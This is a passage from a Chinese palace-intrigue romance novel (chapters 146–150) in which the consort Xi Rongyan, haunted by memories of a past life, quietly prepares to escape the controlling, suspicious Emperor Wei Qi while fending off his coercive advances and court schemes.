这个害死席容烟孩子的罪魁祸首,又嫁祸在他身上的孩子,那时候才十三岁。
他那时一直以为是皇后做的,将目光都放在皇后身上,但魏恒竟然连皇后也瞒住了,他独独忘了他这个儿子。
这个孩子真的像他,不折手段,没有感情。
雨中小小的身子挣扎着又跪在雨里,对着父皇恭恭敬敬的磕了头,才在身边内侍的搀扶下离开。
魏祁静静看着魏恒离开的背影,直到那抹身形离去,转身的一瞬间,看到席容烟就站在他的身后看着他。
他眼里的荫翳消褪下去,皱眉走到她身边:“怎么出来了?”
说着又牵着席容烟往内殿走:“外头风大,你没必要出来。”
席容烟被魏祁牵着重新坐到了椅子上,面前的烛灯晃动,魏祁一手环在席容烟的腰上,又一手拿起刚才放下的书,仿佛刚才他出去的那一幕并不存在。
席容烟还是忍不住问:“大殿下没事么,要不要叫太医瞧瞧?”
魏祁的目光微微向席容烟瞟过去,烛火晃动在她脸庞上,窗外密集的雨水打在窗纸上,传来啪啪的响声,却又显得这时候异常的静谧。
他面容淡淡的笑了下:“朕的确踢了他,但要不要他的命,朕还是清楚的。”
席容烟看着魏祁的神色,又见他又转头过去,这一刻他看起来格外冷清。
要不是他还一直紧紧握着自己的手,席容烟都觉得应该是自己问的多了,他生气了。
那只手像是无意识的在她的掌心摩挲,带出温热的温度。
凌姑姑又端着一碗药进来,席容烟看见那药脸上就是一僵。
昨日凌姑姑也端了过来,她又强忍着与魏祁说了,今日中午就没送来了,原以为今日就可以不用喝了,没想到凌姑姑现在又送了过来。
她看着魏祁:“皇上不是说住进明德殿后就不用吃药了么?”
“昨夜皇上也是这么说的。”
魏祁从凌姑姑的手上端药过来,摆手让凌姑姑先退出去,又看着席容烟:"这不是之前的药。"
“这是能让你尽快怀上身孕的药。”
席容烟看着魏祁手上端着药碗心里不由的抗拒,身体本能的抗拒,摇头道:“臣妾怕苦,臣妾真的不想吃药了。”
魏祁皱眉看着席容烟:“烟儿,朕需要子嗣。”
“你的身子不易怀,吃了药就好了。"
“烟儿,听话。”
那勺子已经喂到了唇边,带着并不容拒绝的动作,魏祁的眸子在夜里很深,明灭不定的脸庞在灯下有着另外一股压迫。
尽管魏祁此刻的声音很温和,靠近她,温柔的低哄:“这药不苦,烟儿尝尝,朕让人给烟儿准备了雪梨糕,很快就不苦了。”
那飘过来的药味让席容烟一阵反胃,可魏祁步步紧逼的送过来,在吃药上,他从来也没有依过她。
她如往常一样强忍着,吃完药唇里又送来冰凉甜润的雪梨糕,身子被魏祁抱在怀里,呼吸就落在她脸颊边,她白着脸闭上眼睛,又静静张开口让魏祁又喂了她一口。
低沉的声音落在她耳边:“甜么?”
席容烟微微顿了下,又点头。
吃了雪梨糕,魏祁就早早拉着席容烟去入睡。
窗外的雨声淅淅,席容烟脑中思绪纷乱,翻了翻身子,难以入睡。
她一到夜里就会想起前世的事情,不能控制的,只能让自己快些入睡。
魏祁似是发觉出了她睡不着,托着她身子让她趴在怀里,手掌轻轻拍在她后背上却不说话。
席容烟听着耳畔传来的有力心跳声,又无声的捏紧在魏祁的衣襟上。
她尝试了一会儿依旧睡不着,趴在魏祁的怀里又抬头道:“丽妃的家里人卖身契还在忠靖候府,臣妾怕皇后后面报复丽妃,要不皇上帮帮她吧。”
魏祁实在没有耐心管这些闲事,他睁开眼睛,看着趴在自己怀里的席容烟眸子微亮,有些期待的看着自己,像是在等着他帮丽妃。
他复杂的眼底还是不懂她,为什么对这些无关紧要的人的事情上心。
等不了多久,忠靖候府将会犯下大罪全府流放,那些奴仆自然也要遣散,被牙人重新买走,不会在忠靖候府留太久。
但现在还不是说给席容烟的时候,只有万无一失的时候他才会告诉她。
他没有多余的空闲去管丽妃,只是敷衍的淡淡嗯了一声,又搂紧她腰身:“现在还不困?”
席容烟见着魏祁显然敷衍的神情,又小声道:“这回要不是丽妃向臣妾说皇后要害臣妾的事情,臣妾恐怕已经被暗害了。”
“臣妾想帮她。”
魏祁挑眉看着席容烟:“她帮你是她最聪明的决定罢了。”
“朕一直在看着她的举动,即便她真的动了心思,在她动手的那一刻,她就没机会活着了。”
席容烟张张唇,还想要说话,却又被魏祁些微有些不耐烦的声音打断:“烟儿,朕的荷包绣好了么?”
席容烟看不清此刻帘帐内魏祁的神色,但知道他现在不想说丽妃的事情。
她手指紧了一下,将枕下绣好的荷包拿出来,放到魏祁的手上:“臣妾中午就做好了。”
魏祁这才稍有了些兴致,抬手掀开帘子,让外头的光线落进来,他垂眸打量手上的荷包。
两只喜鹊紧紧依偎着站在梅枝上,胖乎乎的有些憨态可掬。
他眼底难得露出几丝笑意,修长的手指又指在荷包右下角处:“在这里绣上朕和你的名字吧。”
“祁烟。”
说着魏祁侧头看向席容烟:“你觉得呢。”
这时候的魏祁长发垂斜,没有高高束在金冠里,少了许多凌厉,靠在枕上,在暖色烛光下看起来竟有些温情。
席容烟怔怔看着魏祁的脸庞,她极少见到魏祁这样含笑的时候。
仿佛他的那些冷血冷酷,都是幻觉。
她轻轻点头:“臣妾明日就绣上。”
魏祁笑了笑,指尖捏在席容烟落着光色的下巴上:“好烟儿。”
第146章 离宫准备
第二日慈宁宫的万姑姑就过来叫席容烟往太后那里去一趟。
席容烟大抵也猜到了是什么事情,稍一收拾了过去,就看到太后一脸笑意的对着席容烟招手:“快过来坐到哀家身边来。”
席容烟坐过去,手就被太后紧紧的握在手心。
她看到太后满脸笑意,第一句话便问她:“你是怎么做到的?”
“要知道现在北地有战事,除非皇后出了大事,不然皇上为了稳定北地的战事,也不会轻易动皇后的。”
席容烟也没想着瞒着太后,如实道:“皇后让丽妃接近我,对我下毒,丽妃不敢,便告诉了我。”
“我告诉皇上后,皇上便这么做了。”
太后笑着点点头:“原来是这样。”
说着她屏退其他人,又牵着席容烟往内殿走,在只有两人的房间内,太后稍微凝重的看向席容烟:“容烟,现在便是你的机会。”
席容烟不解的抬头:“什么机会。”
太后笑了下:"除掉皇后的机会。"
席容烟再看太后的眼睛,对她历来温和的太后,此刻眼里有一股冰凉的冷意,这种冷竟与魏祁有些相似。
耳边又传来太后压低的声音:“皇上现在气头上是软禁了皇后,但北地的战事一日不停,皇上便要考虑到宋将军那边的情况。”
“你父亲来信说,听说现在北地的战况艰难,正是用人的时候,当年皇上都是在宋将军手下征战出来的,宋将军在北地也有威名,他在北地就是一颗定心丸,且他手上还有兵权,他女儿在宫里出了事,你说他怎么想?”
“皇上从不是意气用事的人,在这个节骨眼上,皇上肯为了你软禁皇后,那已是极将你放在心上,但皇上却没透出皇后被幽禁的消息出去,也是有考量的。”
“往后皇上权衡利弊下,又将皇后放出来,那时候你和皇后之间就真撕破脸了。”
“你那些手段不一定斗得过皇后。”
“你能保证皇上一直都宠你?”
“趁着你现在得宠,抓住机会早点坐上那个位置,才是最稳妥的。”
席容烟知道魏祁做事深谋远虑,他既然这么做了,定然已经有了应对的法子。
况且她已经打算好了要离开这里,她向魏祁揭露皇后,只是想让皇上能对丽妃手下留情而已。
席容烟轻声道:“姑母别担心太多,我心里有分寸的。”
太后一愣后叹息:“你别心软,你要是心软,哀家来帮你做。”
席容烟忙抬头:“姑母要做什么?”
太后看着席容烟:"容烟,这宫里的冤魂还少了?"
“皇后既然被软禁,她待罪自尽,也没有人说什么。”
席容烟睁大眼睛忙道:“姑母别这样做,不说皇后宫里都是皇后的人,便是姑母真做了,万一查到姑母头上怎么办?”
“这罪名不小的。”
太后笑了笑:"先帝那么多宠妃,当初后宫的女人快上百人,你姑母能站到最后,难受就没手段?"
“你要是没进宫还好,你如今进宫了,哀家就要帮你坐上那个位置,趁着皇上现在厌恶皇后,你乘热打铁坐上那位置,将来哀家在背后帮你,你也一定能坐得稳妥。”
席容烟从前或许会想要在后宫有立足之地,对那个位置大抵有些想法,如今她是下了决心要离开魏祁,对那个位置便丝毫不在乎了。
这宫里的争斗,你死我活,前世因为她又死了那么多人,便觉得自己身上背了孽债。
她知道自己大抵劝不住姑母,便小声道:“姑母别急,其实我心里已经有法子了。”
“一切等一月后再说吧。”
太后不解的问:“为何是一月后?”
席容烟默了默,又小声道:“姑母先别问,我心里有数。”
太后看了看席容烟的神情,难得见到她眼神里有这样坚定的时候,她一直觉得席容烟是太心软,所以才想着多帮她,这会儿瞧她眼神,像是在后宫这些月也意识到了一些生存之道,便也欣慰了。
她笑笑:“你有主意就好。”
席容烟又抬头看向太后,她知道姑母自小记挂她,处处为着她好,她眼里发热,又小声道:“姑母往后也要注意身子。”
太后一愣,又笑开:“你常常来陪着哀家,哀家的身子就好了。”
席容烟从太后的那里出去的时候,心里面有一股无言的难受。
刚才她本想提再见一见母亲的,可是又想,见了又如何,或许会更添伤心,也会引起魏祁多想。
随行的太监让席容烟坐步辇,席容烟摇头,后日就是和魏祁出宫的日子了,她看着这长长的宫道,应该是最后一次走过去了。
半道上碰见了齐妃坐在轿撵上过来,她见着席容烟便吓得脸色一白,从轿撵上下来,走到了席容烟的面前。
她站在离自己三四步远的位置,看着席容烟,心里却是胆战心惊。
连皇后都斗不过席容烟,她在席容烟眼里又算什么?
皇后出事的那般突然,如今这后宫里还剩下几个人?
她昨夜一直在想皇后那天说的话,皇上真的要将后宫里的人所有人都清理出去么,皇后倒台了,她们还会在宫里呆多久。
齐妃心里乱颤,朝着席容烟便红了眼眶道:“从前我有多对不住妹妹的地方,妹妹别与我计较。”
“那是我糊涂,往后我都听妹妹的差遣。”
席容烟看着齐妃的模样,明白这就是后宫,谁得势大家便都靠拢过去,其中没有什么真心。
齐妃现在对自己说的这些话,也并不是她觉得自己从前不该盛气凌人,而是她看见皇后被幽禁,她害怕了。
席容烟其实本来也与齐妃没有什么纠葛,更谈不上对她有什么恨,她低声道:"姐姐别说这样的话,我自来不计较那些事,更何况还是已经过去的事情。“
席容烟说完从齐妃身边走过去。
其实她如今再看到齐妃这些人,还是觉得有些恍惚的。
她也并不希望她们还是上一世的结局。
回了明德殿,席容烟坐在妆台前,看着那好几个妆匣里的东西,全都是极上好的东西。
她拿起一只玉簪放在眼前看了看,知道这明德殿出了玉竹和宝珠是自己的人,其他的人都大抵在看着她,有些事情并不好做。
她想了想,又将妆匣合上。
第147章 不管你去哪里,朕都能找到你的
午膳后席容烟小睡的时候,陪在床边的宝珠看席容烟睡着了,正准备轻手轻脚的走出去时,却被席容烟一把抓住了手。
宝珠一愣,一回头就看到席容烟半撑在榻上,手指放在唇边,对她做了个噤声的手势。
她本来张着唇正要询问的话又生生咽下去,忙住了口。
席容烟身子微微前倾,探身到宝珠的耳边,低声说了几句话。
席容烟打算告诉宝珠,不告诉玉竹是因为宝珠自小陪着她长大,她们情谊深厚,不管自己做什么样的决定,宝珠都会信她不会多问。
但是玉竹是她母亲身边的人,自己做这样的决定,玉竹定然是不能理解的,也定然会劝自己。
但是她已经来不及解释这些。
往后带玉竹走,说不定玉竹还会想办法偷偷联系自己的母亲,那样说不定还会牵连了席家。
自己倒不是不相信玉竹,是因为知道玉竹担心自己,更担心家里受不住,她比起宝珠来说,考虑的事情更多。
况且她跟着魏祁出宫,宝珠魏祁都不一定能答应会让她跟着一起出宫,两个人都带出去,就更不容易了。
宝珠听完席容烟的话,震惊的瞪大眼睛。
她实在是不明白,主子如今都这么得皇上的宠,到底还怎么想不开药想着离开呢。
但是她还是没有问出来,因为她从小陪着主子一起长大,知晓主子这么做必然有理由,不管主子做什么决定,她只要跟着主子就是了。
她连忙小声道:“不管主子要去哪里,奴婢都根着主子。”
席容烟看着宝珠的反应,虽说已经猜到了她的反应,还是感激的握紧了她的手。
她又倾身在她耳边交待了两句话,宝珠朝着席容认真点点头:“主子放心,奴婢会都带好的,不会出错。”
说着她犹豫一下,还是忍不住问:“那夫人怎么办?”
“要不要给夫人说一声?”
席容烟摇头,她知道魏祁多疑,自己出了事,他最先肯定要看席府的反应,也定然会让人看着席府,自己绝对不能联系席府。
就连自己今日在太后那里,她也没有表现出任何的不妥。
宝珠愣了愣,又小声道:“那奴婢都听主子的。”
到了夜里的时候,入睡时席容烟照例接过来魏祁拿过来的药。
她看了看那黑黑的药汁,低着头,异常顺从的在男人的注视下将一碗药艰难的喝完,又被魏祁抱入怀中,再往她唇中送了一颗甜枣。
魏祁温柔的声音在头顶响起:“烟儿,太医说行房之前吃这药,就会更快怀上身孕。”
魏祁说着,手掌已经暧昧的从席容烟寝衣下面伸了进去,求欢的意味明显。
那炙热的手掌落在她的腰上,还隐隐往下滑。
席容烟的身上僵硬,她也知道两人有好几日没有这种亲近了,但此时此刻,她异常的排斥。
她抬头看向魏祁小声道:“今夜臣妾身上不舒服。”
魏祁手上的动作一顿,又低头挑眉看着席容烟的脸庞。
莹莹白净的脸庞始终天仙似的乖巧鲜嫩,让人一看到她就忍不住亲近。
他静静看了她半晌,最后又问:“身子哪里不好?”
席容烟便自然道:"许是小日子快到了,小腹那里微微有些疼。"
魏祁一顿,他记得席容烟是有宫寒的。
她从前每回来小日子的时候都会疼的懒在榻上,几乎不怎么出去,吃了药也不管用。
但是席容烟的小日子,并不是这几日。
他伸手抚上席容烟的小腹,温热的手掌传出热意,魏祁问:“提前了?”
席容烟愣了下,犹豫道:“我小日子一直不准,感觉有些像,也大抵不是。”
魏祁便去叫太医来瞧瞧,折腾了一会儿已经夜深了。
太医说她只是没休息好,多休息几日就好了。
魏祁坐在床沿上,看了看半躺在床榻上娇小的人,正眼里盈盈的看他,眼底还有些许疲惫。
他隐去眼底的复杂,又倾身撑在她面前问:“明日还出宫去么?”
席容烟就忙道:“臣妾想。”
魏祁挑眉问:“身子能受住?”
“小肚子不疼了?”
席容烟就小声道:“臣妾这会儿已经好多了,明日该就全好了。”
“况且臣妾想要与皇上一起出去许久了。”
“再说,臣妾在宫里太闷,也想要去看热闹。”
魏祁静静看着席容烟的脸庞,手指落在她唇边,声音低沉:“明日再说。”
说着他的眼神紧紧看在席容烟的脸上,像是要洞察她脸上的每一个神情。
席容烟从魏祁看到她脸上的神情时,就忽然意识到,魏祁大抵是心里生疑了。
她垂下眼帘,避开魏祁的目光,又听话的点头:“臣妾都听皇上的。”
那细细的语调里,微微能听出一丝遗憾来。
魏祁挑起席容烟的下巴:“朕没说明日不出去,又不开心了?”
席容烟摇头:“臣妾只是想起上回与皇上出宫那般开心,这回有些遗憾罢了。”
“但只要皇上陪在臣妾身边,臣妾也开心的。”
魏祁默默看着席容烟的眼睛,又伸手抚过她柔软眉眼。
他觉得现在的席容烟让他有些难以捉摸了。
他还记得她刚进宫时忐忑不安的神情。
她进宫的最初那些日子,他看得出来,她是在因为他的身份来迎合他。
如今他竟看不懂她的心里到底在想什么,她是真的忘了顾韫玉,开始全心全意的心里都是他了么。
还是她心里藏着别的事情。
魏祁看了席容烟良久,又低头将人抱紧在怀里,无声的抚摸她的发丝,又低沉的问:“现在困了么?”
席容烟被魏祁搂的很紧,他身上白色的寝衣透出炙热的温度,浑身都被他身上的味道包裹。
像是他对她设下天罗地网的迷障,永远也逃脱不过。
席容烟闭上眼睛,轻声道:“有些困了。”
魏祁便抱着席容烟侧躺在榻上,手掌落到她后背上,轻轻拍了拍,又吻了一下她的发顶:“困了睡吧。”
席容烟闭上眼睛,埋在魏祁的怀里,努力让自己睡过去。
只是她睡到半梦半醒时,又听到魏祁低沉的声音响在她耳边:“烟儿,别想着离开朕,欺瞒朕。”
"不管你去哪里,朕都能找到你的。"
席容烟后背上微微生了一层冷汗,她没有动,紧紧闭上眼睛,手指却忍不住轻轻一颤。
第148章 他依旧对她猜忌怀疑
到了第二日的时候,席容烟早早醒来的时候,魏祁已经没有再身边了。
魏祁没有上早朝,但也没有多睡,他坐靠在椅上,手上拿着几封信低头看在。
高公公就站在魏祁的身边,她听见高公公低低的说话声,像是那信是从北地来的。
席容烟没有过去,转身又回到了床榻上坐着。
玉竹和宝珠进来伺候,玉竹先端茶进来给席容烟醒神润喉,又低声道:“主子这会儿穿衣么?”
席容烟坐了坐。
按着那日魏祁与席容烟说的,他说今日一早就会带自己出去,但刚才她看魏祁的动作,像是并没有这个打算了,她心里微微有些忐忑,担心被魏祁看出了什么来。
但她知道,她面上不能做出焦急的神色,也不能再提这件事,不然魏祁会更怀疑她。
问了问时辰,这会儿也还早。
如今皇后被软禁,魏祁也没有说后宫晨会的事,她也没有非要起早的必要。
她就又重新躺回了床榻上,摇头道:“我再睡会儿。”
玉竹诧异了下,又笑道:“主子也别贪睡了,不然待会儿头疼。”
席容烟点头,翻过身闭上眼睛,心底深处却有些紧张。
她一遍遍想她的计划,哪一步都是不能出错的。
魏祁这个人又将她看得很紧,只要是哪一步出了错,或许就功亏一篑了。
她知道自己必须得成功。
前世里她见到过魏祁太多发疯的时候,她也相信他发现后什么事情都做得出来。
她已经用自己能够想到的万全之策来不牵连身边的人了。
她正闭眼想的入神的时候,腰上忽然落下一只大手,一道低低的声音在背后响起:“烟儿……”
这道声音是曾经无数次夜里席容烟的噩梦,是她努力挣脱都摆脱不了的困境,身子已经本能的僵硬。
仿佛在无数个相同的夜里,男人炙热强势的抱住她,容不得她有半点不愿。
席容烟忽的睁眼,又很快从思绪中反应过来。
她转身,看到魏祁正撑在床沿上低头看她。
魏祁的目光静静,看席容烟转过身来,放在她腰上的手指动了动,又低声问:“还要睡?”
席容烟心里跳的很快,只觉得自己的所有心绪情绪都逃不过他的眼里。
她努力让自己冷静,又轻轻摇头:“臣妾睡好了。”
魏祁又抱着席容烟压下身来:“再陪朕睡一会儿。”
席容烟的身子被魏祁压身下几乎不能动弹,她推了推也推不动。
魏祁的身体高大修长,犹如沉默的高山,这种被压迫的恐惧,前世里一直都是席容烟的噩梦。
她没有一天不想逃离压在她身上的这个人。
他带给她的也全都是强迫。
怀里的人安安静静的很软,魏祁贪念的手指在身下这具线条起伏的身子上游离,又沙哑的问:“还疼么?”
席容烟知道魏祁的问的是什么,她被魏祁压的连呼吸都难受,她又推了下,才道:“不疼了。”
她话落下的时候,魏祁唔了一声,手却滑进了她的衣襟里。
那带着薄茧的手指落到她敏感处挑逗,席容烟去推魏祁的手,难受道:“皇上不是说睡一会儿么?”
魏祁没有说话,只是沉重的呼吸让席容烟已经知道他的意图。
那只手越来越放肆,颈边有湿热的吻,一点点往下,动作带着不容拒绝的力道,让席容烟根本没有反抗的余地。
从前没有想起前世时,她或许面对这时候会迎合上去,但现在,无论她怎么告诉自己不能让魏祁生疑心,却始终抵抗不了身体本能的拒绝反应。
这具身体当真太害怕他了。
那种被他在榻上彻夜折磨的恐怖场景,仿佛就在眼前。
他此刻再温柔,也不过是一头披上温和外衣的野兽罢了。
推拒的双手忽然被魏祁一只手握在一起,又压在了头顶。
面前是魏祁带着情欲的压抑声音:“烟儿,听话。”
皮肤露出在了外面,即便现在是盛夏,席容烟也只觉得一股透心的冷。
她手上挣了挣,男人的力道却更紧,压的她的手腕阵阵发疼。
她轻喊:“疼……”
那握着她手的力道才微微一顿,又松了松。
魏祁抬头看向席容烟,眼前那双眸子他看起来像是并不情愿。
刚才他过来碰她,她身上下意识一颤后的躲避,让他心生出一丝掌控不了的情绪。
不管曾经他对她如何,至少在这一世,他在房事上从来没有逼迫过她。
两人缠绵的时候并不多,他也从来没有在她身上放肆纵欲过,更没叫她疼过,他不明白她为什么会在他此刻情动的时候会抗拒。
难道两人许久没有亲近,她就不渴望他么。
这是鱼水之欢的事情,他尽力满足取悦她,其实他曾在她眼里看到过沉迷,表示她也喜欢的。
魏祁的眼里几经变换,尽管他当真很想惩罚她似的重重吻下去,重重的蹂躏她的身子,在她身上放肆的纵容自己。
让她不敢在自己面前再反抗。
但他渐渐看着此刻在他身下的人脸色渐渐变得苍白,眼里惊恐害怕,他又忽然意识到,自己在席容烟面前,无论自己怎么克制,他还是控制不了自己的情绪。
曾有人说过他是疯子,特别是在战场时。
他们私底下也说过,因为他的母妃也是个疯子。
他知道,他的确在有的时候很难控制自己的情绪,面对席容烟时,他用尽了自己的耐心。
他对席容烟控制不了自己情绪的原因是他患得患失,始终不确定自己是不是完整的拥有了她。
他依旧对她猜忌怀疑。
从她第一次做梦开始,他就让人紧紧看着她,是他在恐惧。
下腹处传来的紧绷让他几乎快失去理智,让他恨不得立刻叫身下的女人喊疼,让她害怕的不敢再拒绝他。
第149章 朕与你比起来,谁更委屈?
对待敌人让他们害怕才不敢进犯。
对待女人让她害怕,她才会顺从。
前世他也一直是这么对席容烟的。
魏祁的血液沸腾,却又隐忍着紧绷的情绪松开束住席容烟的手,他低头问她:“刚才吓到了?”
席容烟刚才清晰的看到了魏祁眼里露出的那种阴翳疯狂的情绪,那是她再熟悉不过的神情。
她仿佛想到他当初亲手将锁链缠到她脚踝处的冷酷模样。
她心跳加快的点头,没有否认:“皇上刚才有些吓人……”
魏祁抿了抿唇,眸子垂下来,别了别席容烟的发丝,又低声问:“烟儿,朕觉得你这些日子不愿与朕亲近。”
“为什么?”
席容烟只觉得被魏祁这样的眼神压迫下来,手心都出了汗。
她听见自己此刻恐惧下的心跳声,又听见自己微颤的声音:“臣妾没有。”
魏祁微微蹙眉看着席容烟的神情。
他依旧感觉到了她的害怕。
他努力放软神态,将人抱在怀里轻轻拍着她的后背,声音低沉:“烟儿,实话告诉朕为什么。”
“若是烟儿觉得朕哪里没有做好,朕可以为烟儿改变的。”
席容烟垂着眼帘,伸手环在魏祁的腰上:“皇上自臣妾进宫就对臣妾很好,臣妾知足皇上对臣妾的好。”
“臣妾也从来没有觉得皇上不好过。”
魏祁抬头:“那为何刚才烟儿不愿。”
说着魏祁深吸一口气:“烟儿,我们七八日不曾了。
自从席容烟梦魇,魏祁这些日都在观察着席容烟的情绪,他知道前世的席容烟一向害怕这个,他也尽量克制自己不去碰她,想等她不再被那些梦魇缠着的时候,他再慢慢与她亲近。
只是他始终有克制不住的时候,他身为皇帝,一国之君,每每都是他在讨好求欢,即便这样放低姿态,席容烟好似也不曾感受到过他的良苦用心。
他自己最清楚,自己为她改变了多少。
他希望他的付出能够有她哪怕一星半点的回应也好。
魏祁此刻脸上的表情虽然看起来温和,但他本就不是温和的人,凌厉的眉目与冷清的眼睛,又常在高位,微微一个细微的并不高兴的表情,都能让人清晰的感受到。
席容烟尽量自然揽上魏祁的脖子,咬了咬唇,小声道:“皇上总误会臣妾。”
“刚才皇上捏着臣妾的手捏的好疼。”
“再说外头还等着伺候的宫女,臣妾放不开,皇上也怪臣妾么?”
魏祁抿唇,又眼底复杂。
现在的席容烟机灵讨巧的不像话。
即便不用与她前世一样,她现在与她进宫时也不一样。
魏祁抱着席容烟的腰肢坐在腿上,又拍了拍她的臀,低眉严肃的看她:“朕与你比起来,谁更委屈?”
“拒绝朕的人是你。”
席容烟一愣,知道魏祁生气了,她低头靠在魏祁的肩膀上,压着不安:“皇上生臣妾气了?”
魏祁不喜欢席容烟每每与她对视她都逃避的神态,皱着眉又捏着她的下颌让她抬头:“烟儿,与朕好好说话。”
“朕不是生气,朕只是觉得你在躲避朕。”
这话让席容烟浑身一僵,忽然意识到自己太放纵自己的情绪,面对魏祁这样的人,是不能有一刻放松的。
她既然打算走,就不能让他察觉到一丝不对。
席容烟咬了咬唇,眼眶里含着一汪泪,小声道:“皇上又说这样的话。”
“皇上这么凶,臣妾真的害怕。”
魏祁看着那泪光珍珠似的往下坠,泪涟涟的人,在白色蚕丝单衣下看着分外楚楚可怜。
魏祁心底许多想要质问的话,看着她委屈模样又深吸一口气咽下去,又抱着人无奈的低哄:“都是朕的错……”
“是朕吓着烟儿了……”
说着魏祁弯腰吻了吻席容烟眼里的泪光,他看着她落泪,心头亦有一股无奈的苦涩。
千般万般的讨好她,怎么有时候又像是没心没肺的怪起他凶来。
他要是真凶她,她哪能这样安然无恙的控诉他。
一大早他低低哄了许久才将人哄好,那股消褪不去的情欲还是他自己去浴房解决的。
席容烟坐在妆台前梳妆,她看着自己此刻还微微发红的眼睛,却没有松一口气。
她担心的是要是今日魏祁不带她出去的话,那下一次机会又是什么时候。
要是一直戴在皇宫内,她也根本很难逃出去。
宝珠正在给席容烟装点妆发,席容烟难得在妆匣里认真选了选,选出几支从席家带来的首饰,让宝珠给她戴上。
宝珠看着那几件首饰一愣,还是给席容烟佩戴好,只是手心隐隐有些紧张。
魏祁从身后过来,席容烟看到铜镜中魏祁的影子时,就转身看向他:“臣妾为皇上绣的荷包也做好了,皇上现在想看么?”
魏祁走到席容烟身边,看了眼收拾妥当的人,光线下白白净净,肤如凝脂,此刻眼底泛着红,正如一朵待采的娇花。
他心一动,笑了下:“好。”
席容烟便微微侧身,让宝珠去将她做的荷包拿来,席容烟接过来放到魏祁手上,又小声道:“臣妾的手艺不精,皇上别嫌弃臣妾。”
魏祁低头看着手上的荷包,那角落处绣着的字迹也分外明显。
荷包并不大,却处处透露出娟秀。
这是席容烟给他的第一个东西。
手指细细摩挲在那荷包上,那上头还带着席容烟身上的味道,魏祁深深眼眸里微微有一些笑意。
不管这个荷包做得好不好,只要一想到是席容烟亲手走的,他还是觉得心里有一丝暖意。
指尖抚过荷包上细密的纹路,魏祁默默看了几眼,又捏紧在手心:“你做的很好。"
席容烟便微微低眉,像是有些羞涩,又道:“臣妾为皇上戴上吧。”
魏祁低头看向席容烟,将荷包放在面前伸过来的白嫩手心里。
此时此刻,从蓝色窗纸里照进来的光线也变得温柔了起来,魏祁沉默的低头看向席容烟乌发间的白玉簪子,视线又往下看向她细细黛眉和秀挺的鼻尖。
温柔如水的模样,让他忽想起前世里太后大寿,她与顾韫玉一起进宫来为太后过寿那一幕。
那时候席容烟已经生了孩子,她抱着孩子先去皇后面前问安,又安安静静坐在太后的身边。
他看着她含笑温柔的眉眼,素净又白净,在人群里是最显眼的,他不受控制的走过去,借着与太后说话,余光却都在她身上。
他路过她身边时,不经意的驻足,她怀里的孩子却忽然伸出手来抓他腰上的玉佩。
那时候席容烟是慌张的抱着孩子跪在地上去拉那个孩子的手,与现在的场景有几分相似。
只不过那时她颤声赔罪,吓白了脸,他在众目睽睽下没有说话,更没有对她表露出自己更多的情绪,却在离去时余光都在那白着脸的妇人身上。
他那时候捏了捏腰间那块她曾碰过的玉佩,脑中却疯狂的在想着要得到她。
他甚至已经在脑中想她在自己身下承欢的模样。
第150章 不许再与朕闹脾气
光色温和,腰上若隐若现传来触感,他看着那荷包已经挂在他的腰上,又看着席容烟缓缓抬头。
魏祁伸手托着席容烟的下巴,他抚了抚,细腻光滑,又看着席容烟的眼睛低声道:“朕下午带你出宫。”
席容烟脸上露出欣喜的笑意:“从前兄长总喜欢带臣妾去临江楼用用饭,皇上也可以带臣妾去吗?”
魏祁看着席容烟欣喜的眸子,这样柔软乖顺,他最喜欢她笑意,心头一软,跟着笑了笑:“好。”
下午才刚用过午膳,席容烟就开始收拾。
魏祁身上已经换了一身黑色长衣,两条腿交叠,闲适的靠在椅背上看书。
席容烟掀开帘子去找魏祁的时候,看到圆椅上的身影,地上落着剪影,一身黑衣更显得他清冷尊贵,旁边的香炉袅袅,尘烟围绕,半明半暗里天光直照,一瞬间竟让席容烟生出一股畏惧。
帝王身上的威严杀伐果决,无情冷酷,让她觉得自己插翅难飞。
她驻足在原地半晌,直到魏祁将手上的书放在膝上,缓缓朝着她转过头来,细长的眼眸看过来,带着天生的冷淡。
魏祁见席容烟站在原处不过来,又见她一身寻常藕色素净裙,没有珍珠宝石的点缀,没有金丝银线,唯有若隐若现的回字暗花。
那脖子上更没有佩戴璎珞珠串,发上只有两根普通的竹叶玉簪,耳边一对翠绿的翡翠水滴坠子,异常素净寻常的女子打扮。
若没有那身娇贵白净的皮肤与天仙容貌和身段,在人群中亦是不显眼的。
魏祁微微挑眉朝她招手:“打扮妥帖了?”
席容烟走过去,轻轻嗯了一声,又低头看向魏祁脸上的神色:“玉竹和宝珠也许久没有出宫了,臣妾能让她们一起么?”
魏祁抬头,手上一拉便将席容烟拉入自己的腿上坐着,他捏了捏她耳上的坠子,又瞧她身上素净的料子,皱眉问:“这回这么素净?”
席容烟见魏祁忽视她的话,一愣下只好道:“臣妾与皇上一起,不想引人注意。”
魏祁的手按在席容烟的后背上,表情不置可否。
后背被魏祁宽大的手掌轻按,席容烟后背微微僵硬,在这样的沉默中,她摸不清此刻魏祁的心思,又将刚才的话问了一遍。
魏祁这才看了席容烟一眼:“有朕的护卫在,她们去只是累赘。”
说着魏祁又漫不经心的看着席容烟:“烟儿,朕虽愿意带你出宫,但出宫并不是小事”
“你这时候不能任性。”
席容烟看着魏祁有些严肃的神态,心里还是慌张的跳了一下,又道:“臣妾不是任性,臣妾只是想带她们一起出去散散心。”
魏祁淡淡看着席容烟,看出她微微失落的眉眼,淡淡道:“这样的机会还有很多,但今日城中人多,并不适合带上她们。”
席容烟看魏祁眼里的冷清,又低头靠在魏祁的肩膀上,硬着头皮撒娇道:“那带宝珠一个人行不行?”
“她从小伺候臣妾,臣妾习惯她陪着。”
魏祁淡淡的垂眸,软香在怀,他眼底依旧没有任何松动的神色,拍了拍席容烟的后背:“烟儿,朕陪你还不够?”
席容烟蹭了蹭魏祁的脖子:“皇上,不一样。”
魏祁抿唇,捏了捏席容烟的后颈让她抬头,认真看着她:“非得带着?”
席容烟眼眶红了:“臣妾之前就应允了,这会儿不带她们,不是言而无信?”
魏祁皱眉:“不过两个奴婢。”
席容烟看了看魏祁的神色,一下子从魏祁的怀里站起来,走到另一边的椅子上坐下,侧着身,背对着魏祁不语。
魏祁缓缓坐直了身,静静看着席容烟的背影。
他的眼神捉摸不定,看了半晌,起身走了出去。
席容烟胆战心惊的听着身后的动静,直到她听见帘子被掀开的声音,一转头,就没有见到魏祁的身形了。
她心里就更加不安了。
但是这时候追出去服软不就是妥协了。
且她走了,玉竹和宝珠留在这里,依照魏祁那样的性子,她怕他迁怒到丫头身上。
这样的事情他前世里也不是没有做过,满宫的人,他也没有丝毫不忍心的。
但她救不了所有人,她只是想尽力救出能救的。
